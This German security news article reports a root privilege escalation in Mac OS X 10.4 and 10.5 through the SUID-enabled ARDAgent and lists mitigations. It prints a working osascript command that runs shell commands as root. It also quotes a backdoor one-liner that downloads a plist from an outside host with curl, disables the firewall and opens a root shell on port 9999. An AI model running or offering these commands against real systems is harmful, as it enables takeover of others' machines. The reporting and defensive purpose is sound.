Menü
Security

Root-Exploit für Mac OS X

vorlesen Drucken Kommentare lesen 410 Beiträge

Eine Schwachstelle in Mac OS X 10.4 und 10.5 erleichtert es potenziellen Angreifern, an Root-Rechte auf einem System zu gelangen. Ursache des Problems ist der ARDAgent, der als Teil des Remote-Managements das SUID-Bit gesetzt hat. Der ARDAgent (Apple Remote Desktop) ist in der Lage, AppleScripte mit Root-Rechten zu starten, die ihrerseits wieder Shell-Befehle enthalten können – und das Ganze ohne die Eingabe eines Passwortes.

Zur Demonstration des Problems genügt es, als Standardnutzer oder als Gast auf einem Rechner osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; in der Konsole einzugeben. Für einen erfolgreichen Angriff ist nicht zwingend der physische Zugriff auf ein System notwendig. Grundsätzlich funktioniert der Exploit auch aus der Ferne, etwa auf einem Server, auf dem ein Anwender ein eingeschränktes Konto mit SSH-Zugriff hat.

Auf Slashdot wurde dazu auch bereits ein Vorschlag gepostet, wie man das für eine Backdoor ausnutzen könnte. Die Zeile osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'. öffnete im Test von heise Security eine Root-Shell auf dem TCP-Port 9999.

Derweil gibt es schon mehrere Vorschläge, wie das Problem zu lösen sei. Der Exploit funktioniert nicht, wenn unter Mac OS X 10.5 "Systemeinstellungen/Sharing/" die Option "Entfernte Verwaltung" aktiviert ist – was standardmäßig nicht der Fall ist. Ähnliches soll gelten, wenn unter Mac OS X 10.4 der Apple Remote Desktop Client installiert und aktiviert ist. Darüber hinaus gibt es Vorschläge, den Apple Remote Desktop komplett zu entfernen, die Datei zu komprimieren oder beim ARDAgent das SUID-Bit zu löschen (chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent).

Siehe dazu auch:

(dab)